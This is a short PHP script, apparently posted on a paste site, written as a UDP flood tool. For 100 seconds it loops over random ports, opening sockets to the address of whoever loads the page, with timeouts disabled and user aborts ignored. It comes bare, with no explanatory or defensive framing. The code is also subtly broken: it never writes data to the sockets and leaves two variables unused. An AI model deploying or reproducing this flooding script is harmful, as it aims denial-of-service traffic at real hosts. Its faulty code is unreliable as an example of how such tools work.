<?php
$ip = '127.0.0.1';
$duration = '180';
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = '100';
$time = time();
$max_time = $time+$exec_time;
$host = $_SERVER['REMOTE_ADDR'];
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp)
{
fclose($fp);
}
}
Comments
0 B
|👍
/👎